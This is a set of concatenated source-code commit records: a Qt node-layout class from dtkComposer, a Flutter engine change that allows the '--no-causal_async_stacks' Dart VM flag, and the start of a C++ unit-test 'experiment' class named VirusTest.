this->inputPorts().at(i)->setPos(QPointF(port_margin_left, i*this->inputPorts().at(i)->boundingRect().height() + i*port_spacing + port_margin_top + header));
for(int i = 0; i < this->outputPorts().count(); i++)
this->outputPorts().at(i)->setPos(QPointF(d->rect.right() - port_margin_left - this->outputPorts().at(i)->boundingRect().width(), i*this->outputPorts().at(i)->boundingRect().height() + i*port_spacing + port_margin_top + header));
// Height calculation
if(this->inputPorts().count() || this->outputPorts().count())
if(this->inputPorts().count() >= this->outputPorts().count())
d->rect = QRectF(d->rect.topLeft(), QSize(d->rect.width(), this->inputPorts().count() * this->inputPorts().at(0)->boundingRect().height() + port_margin_top + port_margin_bottom + (this->inputPorts().count()-1) * port_spacing + header));
else
d->rect = QRectF(d->rect.topLeft(), QSize(d->rect.width(), this->outputPorts().count() * this->outputPorts().at(0)->boundingRect().height() + port_margin_top + port_margin_bottom + (this->outputPorts().count()-1) * port_spacing + header));
else if(this->embedded())
d->rect = QRectF(d->rect.topLeft(), QSize(d->rect.width(), port_margin_top + port_margin_bottom + 10));
}
void dtkComposerSceneNodeLeaf::resize(qreal width, qreal height)
{
d->rect = QRectF(d->rect.topLeft(), QSizeF(width, height));
}
QRectF dtkComposerSceneNodeLeaf::boundingRect(void) const
{
return d->rect.adjusted(-2, -2, 2, 2);
}
void dtkComposerSceneNodeLeaf::paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget)
{
Q_UNUSED(option);
Q_UNUSED(widget);
qreal radius = this->embedded() ? 0.0 : 5.0;
if (this->isSelected()) {
painter->setPen(QPen(Qt::magenta, 2, Qt::SolidLine));
painter->setBrush(Qt::NoBrush);
painter->drawRoundedRect(d->rect.adjusted(-2, -2, 2, 2), radius, radius);
}
if(this->embedded())
painter->setPen(Qt::NoPen);
else
painter->setPen(QPen(Qt::black, 1, Qt::SolidLine));
QLinearGradient gradiant(d->rect.left(), d->rect.top(), d->rect.left(), d->rect.bottom());
gradiant.setColorAt(0.0, QColor(Qt::white));
gradiant.setColorAt(0.3, QColor(Qt::gray));
gradiant.setColorAt(1.0, QColor(Qt::gray).darker());
painter->setBrush(gradiant);
painter->drawRoundedRect(d->rect, radius, radius);
// Drawing node's title
qreal margin = 5.0;
QFont font = painter->font();
QFontMetricsF metrics(font);
QString title_text = metrics.elidedText(this->title(), Qt::ElideMiddle, this->boundingRect().width()-2-4*margin);
QRectF title_rect = metrics.boundingRect(title_text);
QPointF title_pos;
if(!this->embedded())
title_pos = QPointF(2*margin, 2*margin + metrics.xHeight());
else
title_pos = QPointF(d->rect.right() - 2*margin - metrics.width(title_text), 2*margin + metrics.xHeight());
painter->setPen(QPen(QColor(Qt::gray).darker()));
painter->drawText(title_pos + QPointF(0, -1), title_text);
painter->setPen(QPen(QColor(Qt::gray)));
painter->drawText(title_pos + QPointF(0, 1), title_text);
painter->setPen(QPen(QColor(Qt::white)));
painter->drawText(title_pos, title_text);
}
<commit_msg>Changing order of logic inside constructor.<commit_after>/* dtkComposerSceneNodeLeaf.cpp ---
*
* Author: Julien Wintz
* Copyright (C) 2008-2011 - Julien Wintz, Inria.
* Created: Fri Feb 3 14:02:14 2012 (+0100)
* Version: $Id$
* Last-Updated: Mon Feb 27 16:29:55 2012 (+0100)
* By: tkloczko
* Update #: 201
*/
/* Commentary:
*
*/
/* Change log:
*
*/
#include "dtkComposerNode.h"
#include "dtkComposerSceneNode.h"
#include "dtkComposerSceneNode_p.h"
#include "dtkComposerSceneNodeLeaf.h"
#include "dtkComposerScenePort.h"
#include "dtkComposerTransmitter.h"
class dtkComposerSceneNodeLeafPrivate
{
public:
QRectF rect;
};
dtkComposerSceneNodeLeaf::dtkComposerSceneNodeLeaf(void) : dtkComposerSceneNode(), d(new dtkComposerSceneNodeLeafPrivate)
{
d->rect = QRectF(0, 0, 150, 50);
}
dtkComposerSceneNodeLeaf::~dtkComposerSceneNodeLeaf(void)
{
delete d;
d = NULL;
}
void dtkComposerSceneNodeLeaf::wrap(dtkComposerNode *node)
{
dtkComposerSceneNode::wrap(node);
foreach(dtkComposerTransmitter *receiver, node->receivers()) {
dtkComposerScenePort *port = new dtkComposerScenePort(dtkComposerScenePort::Input, this);
this->addInputPort(port);
port->setLabel(node->inputLabelHint(this->inputPorts().indexOf(port)));
}
foreach(dtkComposerTransmitter *emitter, node->emitters()) {
dtkComposerScenePort *port = new dtkComposerScenePort(dtkComposerScenePort::Output, this);
this->addOutputPort(port);
port->setLabel(node->outputLabelHint(this->outputPorts().indexOf(port)));
}
this->layout();
}
void dtkComposerSceneNodeLeaf::layout(void)
{
int header = this->embedded() ? 0 : 15;
int port_margin_top = 10;
int port_margin_bottom = 10;
int port_margin_left = 10;
int port_spacing = 10;
// Setting up port position
for(int i = 0; i < this->inputPorts().count(); i++)
this->inputPorts().at(i)->setPos(QPointF(port_margin_left, i*this->inputPorts().at(i)->boundingRect().height() + i*port_spacing + port_margin_top + header));
for(int i = 0; i < this->outputPorts().count(); i++)
this->outputPorts().at(i)->setPos(QPointF(d->rect.right() - port_margin_left - this->outputPorts().at(i)->boundingRect().width(), i*this->outputPorts().at(i)->boundingRect().height() + i*port_spacing + port_margin_top + header));
// Height calculation
if(this->inputPorts().count() || this->outputPorts().count())
if(this->inputPorts().count() >= this->outputPorts().count())
d->rect = QRectF(d->rect.topLeft(), QSize(d->rect.width(), this->inputPorts().count() * this->inputPorts().at(0)->boundingRect().height() + port_margin_top + port_margin_bottom + (this->inputPorts().count()-1) * port_spacing + header));
else
d->rect = QRectF(d->rect.topLeft(), QSize(d->rect.width(), this->outputPorts().count() * this->outputPorts().at(0)->boundingRect().height() + port_margin_top + port_margin_bottom + (this->outputPorts().count()-1) * port_spacing + header));
else if(this->embedded())
d->rect = QRectF(d->rect.topLeft(), QSize(d->rect.width(), port_margin_top + port_margin_bottom + 10));
}
void dtkComposerSceneNodeLeaf::resize(qreal width, qreal height)
{
d->rect = QRectF(d->rect.topLeft(), QSizeF(width, height));
}
QRectF dtkComposerSceneNodeLeaf::boundingRect(void) const
{
return d->rect.adjusted(-2, -2, 2, 2);
}
void dtkComposerSceneNodeLeaf::paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget)
{
Q_UNUSED(option);
Q_UNUSED(widget);
qreal radius = this->embedded() ? 0.0 : 5.0;
if (this->isSelected()) {
painter->setPen(QPen(Qt::magenta, 2, Qt::SolidLine));
painter->setBrush(Qt::NoBrush);
painter->drawRoundedRect(d->rect.adjusted(-2, -2, 2, 2), radius, radius);
}
if(this->embedded())
painter->setPen(Qt::NoPen);
else
painter->setPen(QPen(Qt::black, 1, Qt::SolidLine));
QLinearGradient gradiant(d->rect.left(), d->rect.top(), d->rect.left(), d->rect.bottom());
gradiant.setColorAt(0.0, QColor(Qt::white));
gradiant.setColorAt(0.3, QColor(Qt::gray));
gradiant.setColorAt(1.0, QColor(Qt::gray).darker());
painter->setBrush(gradiant);
painter->drawRoundedRect(d->rect, radius, radius);
// Drawing node's title
qreal margin = 5.0;
QFont font = painter->font();
QFontMetricsF metrics(font);
QString title_text = metrics.elidedText(this->title(), Qt::ElideMiddle, this->boundingRect().width()-2-4*margin);
QRectF title_rect = metrics.boundingRect(title_text);
QPointF title_pos;
if(!this->embedded())
title_pos = QPointF(2*margin, 2*margin + metrics.xHeight());
else
title_pos = QPointF(d->rect.right() - 2*margin - metrics.width(title_text), 2*margin + metrics.xHeight());
painter->setPen(QPen(QColor(Qt::gray).darker()));
painter->drawText(title_pos + QPointF(0, -1), title_text);
painter->setPen(QPen(QColor(Qt::gray)));
painter->drawText(title_pos + QPointF(0, 1), title_text);
painter->setPen(QPen(QColor(Qt::white)));
painter->drawText(title_pos, title_text);
}
<|endoftext|> |
<commit_before>// Copyright 2013 The Flutter Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include <algorithm>
#include <iomanip>
#include <iostream>
#include <iterator>
#include <sstream>
#include <string>
#include "flutter/common/runtime.h"
#include "flutter/fml/native_library.h"
#include "flutter/fml/paths.h"
#include "flutter/fml/size.h"
#include "flutter/shell/version/version.h"
// Include once for the default enum definition.
#include "flutter/shell/common/switches.h"
#undef SHELL_COMMON_SWITCHES_H_
struct SwitchDesc {
flutter::Switch sw;
const std::string_view flag;
const char* help;
};
#undef DEF_SWITCHES_START
#undef DEF_SWITCH
#undef DEF_SWITCHES_END
// clang-format off
#define DEF_SWITCHES_START static const struct SwitchDesc gSwitchDescs[] = {
#define DEF_SWITCH(p_swtch, p_flag, p_help) \
{ flutter::Switch:: p_swtch, p_flag, p_help },
#define DEF_SWITCHES_END };
// clang-format on
#if !FLUTTER_RELEASE
// List of common and safe VM flags to allow to be passed directly to the VM.
// clang-format off
static const std::string gDartFlagsWhitelist[] = {
"--max_profile_depth",
"--profile_period",
"--random_seed",
"--enable_mirrors",
"--write-service-info",
"--sample-buffer-duration",
};
// clang-format on
#endif
// Include again for struct definition.
#include "flutter/shell/common/switches.h"
// Define symbols for the ICU data that is linked into the Flutter library on
// Android. This is a workaround for crashes seen when doing dynamic lookups
// of the engine's own symbols on some older versions of Android.
#if OS_ANDROID
extern uint8_t _binary_icudtl_dat_start[];
extern uint8_t _binary_icudtl_dat_end[];
static std::unique_ptr<fml::Mapping> GetICUStaticMapping() {
return std::make_unique<fml::NonOwnedMapping>(
_binary_icudtl_dat_start,
_binary_icudtl_dat_end - _binary_icudtl_dat_start);
}
#endif
namespace flutter {
void PrintUsage(const std::string& executable_name) {
std::cerr << std::endl << " " << executable_name << std::endl << std::endl;
std::cerr << "Versions: " << std::endl << std::endl;
std::cerr << "Flutter Engine Version: " << GetFlutterEngineVersion()
<< std::endl;
std::cerr << "Skia Version: " << GetSkiaVersion() << std::endl;
std::cerr << "Dart Version: " << GetDartVersion() << std::endl << std::endl;
std::cerr << "Available Flags:" << std::endl;
const uint32_t column_width = 80;
const uint32_t flags_count = static_cast<uint32_t>(Switch::Sentinel);
uint32_t max_width = 2;
for (uint32_t i = 0; i < flags_count; i++) {
auto desc = gSwitchDescs[i];
max_width = std::max<uint32_t>(desc.flag.size() + 2, max_width);
}
const uint32_t help_width = column_width - max_width - 3;
std::cerr << std::string(column_width, '-') << std::endl;
for (uint32_t i = 0; i < flags_count; i++) {
auto desc = gSwitchDescs[i];
std::cerr << std::setw(max_width)
<< std::string("--") +
std::string{desc.flag.data(), desc.flag.size()}
<< " : ";
std::istringstream stream(desc.help);
int32_t remaining = help_width;
std::string word;
while (stream >> word && remaining > 0) {
remaining -= (word.size() + 1);
if (remaining <= 0) {
std::cerr << std::endl
<< std::string(max_width, ' ') << " " << word << " ";
remaining = help_width;
} else {
std::cerr << word << " ";
}
}
std::cerr << std::endl;
}
std::cerr << std::string(column_width, '-') << std::endl;
}
const std::string_view FlagForSwitch(Switch swtch) {
for (uint32_t i = 0; i < static_cast<uint32_t>(Switch::Sentinel); i++) {
if (gSwitchDescs[i].sw == swtch) {
return gSwitchDescs[i].flag;
}
}
return std::string_view();
}
#if !FLUTTER_RELEASE
static bool IsWhitelistedDartVMFlag(const std::string& flag) {
for (uint32_t i = 0; i < fml::size(gDartFlagsWhitelist); ++i) {
const std::string& allowed = gDartFlagsWhitelist[i];
// Check that the prefix of the flag matches one of the whitelisted flags.
// We don't need to worry about cases like "--safe --sneaky_dangerous" as
// the VM will discard these as a single unrecognized flag.
if (std::equal(allowed.begin(), allowed.end(), flag.begin())) {
return true;
}
}
return false;
}
#endif
template <typename T>
static bool GetSwitchValue(const fml::CommandLine& command_line,
Switch sw,
T* result) {
std::string switch_string;
if (!command_line.GetOptionValue(FlagForSwitch(sw), &switch_string)) {
return false;
}
std::stringstream stream(switch_string);
T value = 0;
if (stream >> value) {
*result = value;
return true;
}
return false;
}
std::unique_ptr<fml::Mapping> GetSymbolMapping(std::string symbol_prefix,
std::string native_lib_path) {
const uint8_t* mapping;
intptr_t size;
auto lookup_symbol = [&mapping, &size, symbol_prefix](
const fml::RefPtr<fml::NativeLibrary>& library) {
mapping = library->ResolveSymbol((symbol_prefix + "_start").c_str());
size = reinterpret_cast<intptr_t>(
library->ResolveSymbol((symbol_prefix + "_size").c_str()));
};
fml::RefPtr<fml::NativeLibrary> library =
fml::NativeLibrary::CreateForCurrentProcess();
lookup_symbol(library);
if (!(mapping && size)) {
// Symbol lookup for the current process fails on some devices. As a
// fallback, try doing the lookup based on the path to the Flutter library.
library = fml::NativeLibrary::Create(native_lib_path.c_str());
lookup_symbol(library);
}
FML_CHECK(mapping && size) << "Unable to resolve symbols: " << symbol_prefix;
return std::make_unique<fml::NonOwnedMapping>(mapping, size);
}
Settings SettingsFromCommandLine(const fml::CommandLine& command_line) {
Settings settings = {};
// Enable Observatory
settings.enable_observatory =
!command_line.HasOption(FlagForSwitch(Switch::DisableObservatory));
// Set Observatory Host
if (command_line.HasOption(FlagForSwitch(Switch::DeviceObservatoryHost))) {
command_line.GetOptionValue(FlagForSwitch(Switch::DeviceObservatoryHost),
&settings.observatory_host);
}
// Default the observatory port based on --ipv6 if not set.
if (settings.observatory_host.empty()) {
settings.observatory_host =
command_line.HasOption(FlagForSwitch(Switch::IPv6)) ? "::1"
: "127.0.0.1";
}
// Set Observatory Port
if (command_line.HasOption(FlagForSwitch(Switch::DeviceObservatoryPort))) {
if (!GetSwitchValue(command_line, Switch::DeviceObservatoryPort,
&settings.observatory_port)) {
FML_LOG(INFO)
<< "Observatory port specified was malformed. Will default to "
<< settings.observatory_port;
}
}
// Disable need for authentication codes for VM service communication, if
// specified.
settings.disable_service_auth_codes =
command_line.HasOption(FlagForSwitch(Switch::DisableServiceAuthCodes));
// Checked mode overrides.
settings.disable_dart_asserts =
command_line.HasOption(FlagForSwitch(Switch::DisableDartAsserts));
settings.start_paused =
command_line.HasOption(FlagForSwitch(Switch::StartPaused));
settings.enable_checked_mode =
command_line.HasOption(FlagForSwitch(Switch::EnableCheckedMode));
settings.enable_dart_profiling =
command_line.HasOption(FlagForSwitch(Switch::EnableDartProfiling));
settings.enable_software_rendering =
command_line.HasOption(FlagForSwitch(Switch::EnableSoftwareRendering));
settings.endless_trace_buffer =
command_line.HasOption(FlagForSwitch(Switch::EndlessTraceBuffer));
settings.trace_startup =
command_line.HasOption(FlagForSwitch(Switch::TraceStartup));
settings.skia_deterministic_rendering_on_cpu =
command_line.HasOption(FlagForSwitch(Switch::SkiaDeterministicRendering));
settings.verbose_logging =
command_line.HasOption(FlagForSwitch(Switch::VerboseLogging));
command_line.GetOptionValue(FlagForSwitch(Switch::FlutterAssetsDir),
&settings.assets_path);
std::vector<std::string_view> aot_shared_library_name =
command_line.GetOptionValues(FlagForSwitch(Switch::AotSharedLibraryName));
std::string snapshot_asset_path;
command_line.GetOptionValue(FlagForSwitch(Switch::SnapshotAssetPath),
&snapshot_asset_path);
std::string vm_snapshot_data_filename;
command_line.GetOptionValue(FlagForSwitch(Switch::VmSnapshotData),
&vm_snapshot_data_filename);
std::string vm_snapshot_instr_filename;
command_line.GetOptionValue(FlagForSwitch(Switch::VmSnapshotInstructions),
&vm_snapshot_instr_filename);
std::string isolate_snapshot_data_filename;
command_line.GetOptionValue(FlagForSwitch(Switch::IsolateSnapshotData),
&isolate_snapshot_data_filename);
std::string isolate_snapshot_instr_filename;
command_line.GetOptionValue(
FlagForSwitch(Switch::IsolateSnapshotInstructions),
&isolate_snapshot_instr_filename);
if (aot_shared_library_name.size() > 0) {
for (std::string_view name : aot_shared_library_name) {
settings.application_library_path.emplace_back(name);
}
} else if (snapshot_asset_path.size() > 0) {
settings.vm_snapshot_data_path =
fml::paths::JoinPaths({snapshot_asset_path, vm_snapshot_data_filename});
settings.vm_snapshot_instr_path = fml::paths::JoinPaths(
{snapshot_asset_path, vm_snapshot_instr_filename});
settings.isolate_snapshot_data_path = fml::paths::JoinPaths(
{snapshot_asset_path, isolate_snapshot_data_filename});
settings.isolate_snapshot_instr_path = fml::paths::JoinPaths(
{snapshot_asset_path, isolate_snapshot_instr_filename});
}
command_line.GetOptionValue(FlagForSwitch(Switch::CacheDirPath),
&settings.temp_directory_path);
if (settings.icu_initialization_required) {
command_line.GetOptionValue(FlagForSwitch(Switch::ICUDataFilePath),
&settings.icu_data_path);
if (command_line.HasOption(FlagForSwitch(Switch::ICUSymbolPrefix))) {
std::string icu_symbol_prefix, native_lib_path;
command_line.GetOptionValue(FlagForSwitch(Switch::ICUSymbolPrefix),
&icu_symbol_prefix);
command_line.GetOptionValue(FlagForSwitch(Switch::ICUNativeLibPath),
&native_lib_path);
#if OS_ANDROID
settings.icu_mapper = GetICUStaticMapping;
#else
settings.icu_mapper = [icu_symbol_prefix, native_lib_path] {
return GetSymbolMapping(icu_symbol_prefix, native_lib_path);
};
#endif
}
}
settings.use_test_fonts =
command_line.HasOption(FlagForSwitch(Switch::UseTestFonts));
#if !FLUTTER_RELEASE
command_line.GetOptionValue(FlagForSwitch(Switch::LogTag), &settings.log_tag);
std::string all_dart_flags;
if (command_line.GetOptionValue(FlagForSwitch(Switch::DartFlags),
&all_dart_flags)) {
std::stringstream stream(all_dart_flags);
std::string flag;
// Assume that individual flags are comma separated.
while (std::getline(stream, flag, ',')) {
if (!IsWhitelistedDartVMFlag(flag)) {
FML_LOG(FATAL) << "Encountered blacklisted Dart VM flag: " << flag;
}
settings.dart_flags.push_back(flag);
}
}
settings.trace_skia =
command_line.HasOption(FlagForSwitch(Switch::TraceSkia));
settings.trace_systrace =
command_line.HasOption(FlagForSwitch(Switch::TraceSystrace));
#endif
settings.dump_skp_on_shader_compilation =
command_line.HasOption(FlagForSwitch(Switch::DumpSkpOnShaderCompilation));
settings.cache_sksl =
command_line.HasOption(FlagForSwitch(Switch::CacheSkSL));
return settings;
}
} // namespace flutter
<commit_msg>Allow embedders to disable causal async stacks in the Dart VM (#13004)<commit_after>// Copyright 2013 The Flutter Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include <algorithm>
#include <iomanip>
#include <iostream>
#include <iterator>
#include <sstream>
#include <string>
#include "flutter/common/runtime.h"
#include "flutter/fml/native_library.h"
#include "flutter/fml/paths.h"
#include "flutter/fml/size.h"
#include "flutter/shell/version/version.h"
// Include once for the default enum definition.
#include "flutter/shell/common/switches.h"
#undef SHELL_COMMON_SWITCHES_H_
struct SwitchDesc {
flutter::Switch sw;
const std::string_view flag;
const char* help;
};
#undef DEF_SWITCHES_START
#undef DEF_SWITCH
#undef DEF_SWITCHES_END
// clang-format off
#define DEF_SWITCHES_START static const struct SwitchDesc gSwitchDescs[] = {
#define DEF_SWITCH(p_swtch, p_flag, p_help) \
{ flutter::Switch:: p_swtch, p_flag, p_help },
#define DEF_SWITCHES_END };
// clang-format on
// List of common and safe VM flags to allow to be passed directly to the VM.
#if FLUTTER_RELEASE
// clang-format off
static const std::string gDartFlagsWhitelist[] = {
"--no-causal_async_stacks",
};
// clang-format on
#else
// clang-format off
static const std::string gDartFlagsWhitelist[] = {
"--max_profile_depth",
"--profile_period",
"--random_seed",
"--enable_mirrors",
"--write-service-info",
"--sample-buffer-duration",
"--no-causal_async_stacks",
};
// clang-format on
#endif // FLUTTER_RELEASE
// Include again for struct definition.
#include "flutter/shell/common/switches.h"
// Define symbols for the ICU data that is linked into the Flutter library on
// Android. This is a workaround for crashes seen when doing dynamic lookups
// of the engine's own symbols on some older versions of Android.
#if OS_ANDROID
extern uint8_t _binary_icudtl_dat_start[];
extern uint8_t _binary_icudtl_dat_end[];
static std::unique_ptr<fml::Mapping> GetICUStaticMapping() {
return std::make_unique<fml::NonOwnedMapping>(
_binary_icudtl_dat_start,
_binary_icudtl_dat_end - _binary_icudtl_dat_start);
}
#endif
namespace flutter {
void PrintUsage(const std::string& executable_name) {
std::cerr << std::endl << " " << executable_name << std::endl << std::endl;
std::cerr << "Versions: " << std::endl << std::endl;
std::cerr << "Flutter Engine Version: " << GetFlutterEngineVersion()
<< std::endl;
std::cerr << "Skia Version: " << GetSkiaVersion() << std::endl;
std::cerr << "Dart Version: " << GetDartVersion() << std::endl << std::endl;
std::cerr << "Available Flags:" << std::endl;
const uint32_t column_width = 80;
const uint32_t flags_count = static_cast<uint32_t>(Switch::Sentinel);
uint32_t max_width = 2;
for (uint32_t i = 0; i < flags_count; i++) {
auto desc = gSwitchDescs[i];
max_width = std::max<uint32_t>(desc.flag.size() + 2, max_width);
}
const uint32_t help_width = column_width - max_width - 3;
std::cerr << std::string(column_width, '-') << std::endl;
for (uint32_t i = 0; i < flags_count; i++) {
auto desc = gSwitchDescs[i];
std::cerr << std::setw(max_width)
<< std::string("--") +
std::string{desc.flag.data(), desc.flag.size()}
<< " : ";
std::istringstream stream(desc.help);
int32_t remaining = help_width;
std::string word;
while (stream >> word && remaining > 0) {
remaining -= (word.size() + 1);
if (remaining <= 0) {
std::cerr << std::endl
<< std::string(max_width, ' ') << " " << word << " ";
remaining = help_width;
} else {
std::cerr << word << " ";
}
}
std::cerr << std::endl;
}
std::cerr << std::string(column_width, '-') << std::endl;
}
const std::string_view FlagForSwitch(Switch swtch) {
for (uint32_t i = 0; i < static_cast<uint32_t>(Switch::Sentinel); i++) {
if (gSwitchDescs[i].sw == swtch) {
return gSwitchDescs[i].flag;
}
}
return std::string_view();
}
static bool IsWhitelistedDartVMFlag(const std::string& flag) {
for (uint32_t i = 0; i < fml::size(gDartFlagsWhitelist); ++i) {
const std::string& allowed = gDartFlagsWhitelist[i];
// Check that the prefix of the flag matches one of the whitelisted flags.
// We don't need to worry about cases like "--safe --sneaky_dangerous" as
// the VM will discard these as a single unrecognized flag.
if (std::equal(allowed.begin(), allowed.end(), flag.begin())) {
return true;
}
}
return false;
}
template <typename T>
static bool GetSwitchValue(const fml::CommandLine& command_line,
Switch sw,
T* result) {
std::string switch_string;
if (!command_line.GetOptionValue(FlagForSwitch(sw), &switch_string)) {
return false;
}
std::stringstream stream(switch_string);
T value = 0;
if (stream >> value) {
*result = value;
return true;
}
return false;
}
std::unique_ptr<fml::Mapping> GetSymbolMapping(std::string symbol_prefix,
std::string native_lib_path) {
const uint8_t* mapping;
intptr_t size;
auto lookup_symbol = [&mapping, &size, symbol_prefix](
const fml::RefPtr<fml::NativeLibrary>& library) {
mapping = library->ResolveSymbol((symbol_prefix + "_start").c_str());
size = reinterpret_cast<intptr_t>(
library->ResolveSymbol((symbol_prefix + "_size").c_str()));
};
fml::RefPtr<fml::NativeLibrary> library =
fml::NativeLibrary::CreateForCurrentProcess();
lookup_symbol(library);
if (!(mapping && size)) {
// Symbol lookup for the current process fails on some devices. As a
// fallback, try doing the lookup based on the path to the Flutter library.
library = fml::NativeLibrary::Create(native_lib_path.c_str());
lookup_symbol(library);
}
FML_CHECK(mapping && size) << "Unable to resolve symbols: " << symbol_prefix;
return std::make_unique<fml::NonOwnedMapping>(mapping, size);
}
Settings SettingsFromCommandLine(const fml::CommandLine& command_line) {
Settings settings = {};
// Enable Observatory
settings.enable_observatory =
!command_line.HasOption(FlagForSwitch(Switch::DisableObservatory));
// Set Observatory Host
if (command_line.HasOption(FlagForSwitch(Switch::DeviceObservatoryHost))) {
command_line.GetOptionValue(FlagForSwitch(Switch::DeviceObservatoryHost),
&settings.observatory_host);
}
// Default the observatory port based on --ipv6 if not set.
if (settings.observatory_host.empty()) {
settings.observatory_host =
command_line.HasOption(FlagForSwitch(Switch::IPv6)) ? "::1"
: "127.0.0.1";
}
// Set Observatory Port
if (command_line.HasOption(FlagForSwitch(Switch::DeviceObservatoryPort))) {
if (!GetSwitchValue(command_line, Switch::DeviceObservatoryPort,
&settings.observatory_port)) {
FML_LOG(INFO)
<< "Observatory port specified was malformed. Will default to "
<< settings.observatory_port;
}
}
// Disable need for authentication codes for VM service communication, if
// specified.
settings.disable_service_auth_codes =
command_line.HasOption(FlagForSwitch(Switch::DisableServiceAuthCodes));
// Checked mode overrides.
settings.disable_dart_asserts =
command_line.HasOption(FlagForSwitch(Switch::DisableDartAsserts));
settings.start_paused =
command_line.HasOption(FlagForSwitch(Switch::StartPaused));
settings.enable_checked_mode =
command_line.HasOption(FlagForSwitch(Switch::EnableCheckedMode));
settings.enable_dart_profiling =
command_line.HasOption(FlagForSwitch(Switch::EnableDartProfiling));
settings.enable_software_rendering =
command_line.HasOption(FlagForSwitch(Switch::EnableSoftwareRendering));
settings.endless_trace_buffer =
command_line.HasOption(FlagForSwitch(Switch::EndlessTraceBuffer));
settings.trace_startup =
command_line.HasOption(FlagForSwitch(Switch::TraceStartup));
settings.skia_deterministic_rendering_on_cpu =
command_line.HasOption(FlagForSwitch(Switch::SkiaDeterministicRendering));
settings.verbose_logging =
command_line.HasOption(FlagForSwitch(Switch::VerboseLogging));
command_line.GetOptionValue(FlagForSwitch(Switch::FlutterAssetsDir),
&settings.assets_path);
std::vector<std::string_view> aot_shared_library_name =
command_line.GetOptionValues(FlagForSwitch(Switch::AotSharedLibraryName));
std::string snapshot_asset_path;
command_line.GetOptionValue(FlagForSwitch(Switch::SnapshotAssetPath),
&snapshot_asset_path);
std::string vm_snapshot_data_filename;
command_line.GetOptionValue(FlagForSwitch(Switch::VmSnapshotData),
&vm_snapshot_data_filename);
std::string vm_snapshot_instr_filename;
command_line.GetOptionValue(FlagForSwitch(Switch::VmSnapshotInstructions),
&vm_snapshot_instr_filename);
std::string isolate_snapshot_data_filename;
command_line.GetOptionValue(FlagForSwitch(Switch::IsolateSnapshotData),
&isolate_snapshot_data_filename);
std::string isolate_snapshot_instr_filename;
command_line.GetOptionValue(
FlagForSwitch(Switch::IsolateSnapshotInstructions),
&isolate_snapshot_instr_filename);
if (aot_shared_library_name.size() > 0) {
for (std::string_view name : aot_shared_library_name) {
settings.application_library_path.emplace_back(name);
}
} else if (snapshot_asset_path.size() > 0) {
settings.vm_snapshot_data_path =
fml::paths::JoinPaths({snapshot_asset_path, vm_snapshot_data_filename});
settings.vm_snapshot_instr_path = fml::paths::JoinPaths(
{snapshot_asset_path, vm_snapshot_instr_filename});
settings.isolate_snapshot_data_path = fml::paths::JoinPaths(
{snapshot_asset_path, isolate_snapshot_data_filename});
settings.isolate_snapshot_instr_path = fml::paths::JoinPaths(
{snapshot_asset_path, isolate_snapshot_instr_filename});
}
command_line.GetOptionValue(FlagForSwitch(Switch::CacheDirPath),
&settings.temp_directory_path);
if (settings.icu_initialization_required) {
command_line.GetOptionValue(FlagForSwitch(Switch::ICUDataFilePath),
&settings.icu_data_path);
if (command_line.HasOption(FlagForSwitch(Switch::ICUSymbolPrefix))) {
std::string icu_symbol_prefix, native_lib_path;
command_line.GetOptionValue(FlagForSwitch(Switch::ICUSymbolPrefix),
&icu_symbol_prefix);
command_line.GetOptionValue(FlagForSwitch(Switch::ICUNativeLibPath),
&native_lib_path);
#if OS_ANDROID
settings.icu_mapper = GetICUStaticMapping;
#else
settings.icu_mapper = [icu_symbol_prefix, native_lib_path] {
return GetSymbolMapping(icu_symbol_prefix, native_lib_path);
};
#endif
}
}
settings.use_test_fonts =
command_line.HasOption(FlagForSwitch(Switch::UseTestFonts));
std::string all_dart_flags;
if (command_line.GetOptionValue(FlagForSwitch(Switch::DartFlags),
&all_dart_flags)) {
std::stringstream stream(all_dart_flags);
std::string flag;
// Assume that individual flags are comma separated.
while (std::getline(stream, flag, ',')) {
if (!IsWhitelistedDartVMFlag(flag)) {
FML_LOG(FATAL) << "Encountered blacklisted Dart VM flag: " << flag;
}
settings.dart_flags.push_back(flag);
}
}
#if !FLUTTER_RELEASE
command_line.GetOptionValue(FlagForSwitch(Switch::LogTag), &settings.log_tag);
settings.trace_skia =
command_line.HasOption(FlagForSwitch(Switch::TraceSkia));
settings.trace_systrace =
command_line.HasOption(FlagForSwitch(Switch::TraceSystrace));
#endif
settings.dump_skp_on_shader_compilation =
command_line.HasOption(FlagForSwitch(Switch::DumpSkpOnShaderCompilation));
settings.cache_sksl =
command_line.HasOption(FlagForSwitch(Switch::CacheSkSL));
return settings;
}
} // namespace flutter
<|endoftext|> |
<commit_before>// virustest_experiment.cpp
// Copyright (C) 2015 Rob Colbert <rob.isConnected@gmail.com>
// License: MIT (see LICENSE)
#include <virustest_experiment.h>
#include <virustest_exception.h>
#include <algorithm>
VirusTest::Experiment::Experiment(const std::string& name)
: m_name(name)
, m_log(spdlog::get("experiment"))
, m_result(kResultIncomplete)
{}
VirusTest::Experiment::~Experiment()
{}
const std::string&
VirusTest::Experiment::getName()
{
return m_name;
}
std::shared_ptr<VirusTest::Experiment>
VirusTest::Experiment::addChild(std::shared_ptr<Experiment> experiment) {
m_children.push_back(experiment);
return experiment;
}
bool
VirusTest::Experiment::removeChild(std::shared_ptr<Experiment> experiment) {
ChildListIterator cli = std::find(m_children.begin(), m_children.end(), experiment);
if (cli == m_children.end()) {
return false;
}
m_children.erase(cli);
return true;
}
void
VirusTest::Experiment::expect(bool predicate, const std::string& testName, const std::string& message) {
if (predicate) {
m_log->info("test {} PASS");
return;
}
m_log->error("test {} produced unexpected results", testName);
fail(message); // fail() throws an exception
}
void
VirusTest::Experiment::setResult(ExperimentResult result) {
m_result = result;
}
void
VirusTest::Experiment::pass() {
setResult(kResultPass);
m_log->info("{} result PASS", m_name);
}
void
VirusTest::Experiment::fail(const std::string& message) {
setResult(kResultFail);
throw new VirusTest::/*ExperimentFail*/Exception(message);
}
void
VirusTest::Experiment::incomplete(const std::string& message) {
setResult(kResultIncomplete);
throw new VirusTest::/*ExperimentIncomplete*/Exception(message);
}
VirusTest::Experiment::ExperimentResult
VirusTest::Experiment::getResult() const {
return m_result;
}
const std::string
VirusTest::Experiment::getResultText() const {
switch (m_result) {
case kResultFail:
return "kResultFail";
case kResultPass:
return "kResultPass";
case kResultIncomplete:
return "kResultIncomplete";
default:
break;
}
return "[INVALID RESULT CODE]";
}
